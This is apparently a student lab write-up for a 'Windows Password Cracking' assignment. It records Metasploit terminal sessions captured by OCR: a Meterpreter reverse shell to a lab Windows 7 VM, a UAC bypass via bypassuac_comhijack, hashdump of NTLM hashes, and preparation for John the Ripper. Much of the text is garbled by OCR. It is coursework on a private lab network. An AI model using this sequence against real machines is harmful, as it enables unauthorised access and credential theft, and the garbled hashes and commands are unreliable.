Task B: Windows Password Cracking

Log on to Windows 7 VM and establish a reverse shell connection with the admin
privilege to the target Windows 7 VM. Then, create a list of 3 users with different
passwords.
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Choose the account you would like to change

Window 7
Administrator
Password protected
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Create a new account

What is a user account?

Additional things you can do
:E‘_j Set up Parental Controls

Go to the main User Accounts page

Creating 3 password protected users in windows 7

User7 - hello
User8 - world
User9 - 1234

Now, complete the following tasks in sequence.
1. Display the password hashes by using the “hashdump” command in the
meterpreter shell.
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root@kali: ~

Actions Edit View Help

exploit/multi/handler
Using configured payload ri
exploit( )

Module options (exploit/multi/handler):

Name Current Setting Required Description

Payload options (windows/meterpreter/reverse_tcp):

Name Current Setting Reguired Description

EXITFUNC process Exit technigue (Accepted:
55, none)

LHOST T: The listen address
d)

LPORT AN WE The listen port

X
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Launching msfconsole; using multihandler exploit; setting payload; showing options for
host and port



kali = Internal Markstation on CY20T-IHEMROOZ
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root@kali: ~

File Actions Edit View Help

Name Current Setting Required Description

EXITFUNC process yes Exit technique (Accepted: y seh, thread, proce
55, none)

LHOST yes The listen address (an interface may be specifie
d)

LPORT yes The listen port

Exploit target:

Name

Wildcard Target

View the full module info with the info, or info -d command.

sf6 exploit( ) > set lhost 192.168.10.13
host = 192.168.10.13

sf6 exploit( ) > set lport 4444

lport = 4444

msf6 exploit( ) > exploit

Started reverse TCP handler on 192.168.10.13:4444

Sending stage (176198 bytes) to 192.168.10.9

Meterpreter session 1 opened (192.168.10.13:4444 — 192.168.10.9:1034) at 2025-04-17 1
6:01:49 -0400

meterpreter > |
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kali = Internal Warkstation on CY20T-IHEMROOZ
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root(@ kali: ~
File Actions Edit View Help

meterpreter > background
Backgrounding session 1...
msf6 exploit( ) > sessions

Active sessions

Id Name Type Information Connection
meterpreter x86/windows WINDOWS7\Window 7 @ WIND 192.168.10.13:4444 — 102
OWs7 .168.10.9:1034 (192.168.1

0.9)

msf6 exploit( ) > search uac

Matching Medules

Name Disclosure Date
Description

post/windows/manage/sticky_keys normal
Sticky Keys Persistence Module
exploit/windows/local/cve_2022_26904_superprofile 2022-03-17 excelle
User Profile Arbitrary Junction Creation Local Privilege Elevation
exploit/windows/local/bypassyag_windows_store_filesys 2019-08-22 manual
Windows 10 UAC Protection Bypass Via Windows Store (WSReset.exe)
exploit/windows/local/bypassiac_windows_store_reg 2019-82-19 manual
Windows 10 UAC Protection Bypass Via Windows Store (WSReset.exe) and Registry
exploit/windows/local/ask 2012-01-03 excelle
Windows Escalate UAC Execute RunAs
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Running background on meterpreter; seeing sessions open; searching uac for a bypass
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File Actions Edit View Help

msf6 exploit( ) > use 9
No payload configured, defaulting to windows/meterpreter/reverse_tcp
msfé exploit( ) > show optiens

Module options (exploit/windows/local/bypassuac_comhijack):

Name Current Setting Required Description

SESSION yes The session to run this module on

Paylead options (windows/meterpreter/reverse_tcp):

Name Current Setting Required Description

EXITFUNC process yes Exit technique (Accepted: '', seh, thread, proce
55, none)

LHOST 192.168.10.13 yes The listen address (an interface may be specifie
d)

LPORT LiLa yes The listen port

Exploit target:
Id Name

Automatic

View the full medule info with the info, or info -d command.
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il root@kali: ~
File Actions Edit View Help

msf6 exploit( ) > set session 1
session = 1

msf6 exploit( ) > show options

Module options (expleit/windows/local/bypassuac_comhijack):

Name Current Setting Reguired Description

SESSION 1 yes The session to run this medule on

Payload options (windows/meterpreter/reverse_tcp):

Name Current Setting Reguired Description

EXITFUNC process yes Exit technigue (Accepted: "', seh, thread, proce
ss5, none)

LHOST 192.168.10.13 yes The listen address (an interface may be specifie
d)

LPORT 4444 yes The listen port

Exploit target:
Id MName

Automatic

View the full module info with the info, or info -d command.
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Setting session to session 1; reopening options
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msf6 exploit(

Started reverse TCP handler

Running automatic check ("set AutoCheck fal
s to be vulnerable.

UAC is En4b1wd checking level

Part of Administrators group! unntinuing."

UAC is set to Default

BypassUAC can b

Ta _ina Evﬂnt Viewer "h G aF Ftwaz h. es\CLSIDY{PA29FFOE-T7FOC-443

-8B11-F42 31; .
Up104d1na ﬂi?1ﬂ4d Tu CidUsersi\w 1%, atahLocal®sTemph jnQlFZph.dl1l ..

cuting high integrity process ( i ' rstem32heventvwr. exe
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meterpreter > hashdump
Administrator:500:aad3b435b51404eeaad3ibs3s5b51404ee:31d6cfeddlhae931b73c59d720
C@89cl :::
Guest:501:aad2b435b51404eeaad3bs35b51404ee:31d6cfedd16ae921b73c59d7e0Cc089cO
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root@kali: ~

File Actions Edit View Help

er via HKCUM\Software’\Cla NCLSIDN <GAJ9FF9E TFOC-44
C:h\Users\WINDOW~1%AppDatasLocal\Temph jnQlFZph.dll

Executing high integrity process C:‘Windows“System eventvwr.exe

Sending stage FlTﬁlfﬂ bytes) to 192.168.18.9

Deleted C:M\Use wINDDw “AppDatahLocal\TemphjnQLlFZph.dll

Hﬁtﬁrprﬁtﬁ : 2 opened (192.168.10.13:4444 — 192.168.10.9:1833) at
@

r > hashdump
Administrator:500:aad3b435b5140 1ad3b435b514@ :31d6cfe@dl16ae931b73c59d7 2@
cR89cd :::

Guest:5@1: 3b435b51404ecaad3ibi35b514@! :31d6cted@dl6ae931b73c59d7e@c@B9CO :

Hcmﬁhxuuprﬂr$ 1862 :aad3b435b51404eeaad3bs35h51404ee: 2d79c7F57cB@9bad3139

BedLy

User?7 1ad3b435b51404ecaad3bs35b5140! :@e6ddfdéef@e9cd7c256Te77191efs
53a150b236b26812bd524d18171eb3e4:

:7ce21f17cBaee?fb9cebas32d@546ad6:

17ad@6bdd&38b758
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Running exploit; opening meterpreter; running hashdump
2. Save the password hashes into a file named “your_midas.WinHASH” in Kali Linux.
Then run John the ripper for 10 minutes to crack the passwords.
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File Actions Edit View Help

£

ihenr@@2 . WinHASH

ihenr@e82.WinHASH
Administrator:508:a 3
c@B9cd

User8:1004:aad3

User9:1005:

Window 7:1000:aad3b435b51404eeaad3bs3s

6C iz
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Creating a file titled ihenr002.WinHASH; copy and pasting the hashdump into the file



ihenreoz.WinHASH
ault input encoding:
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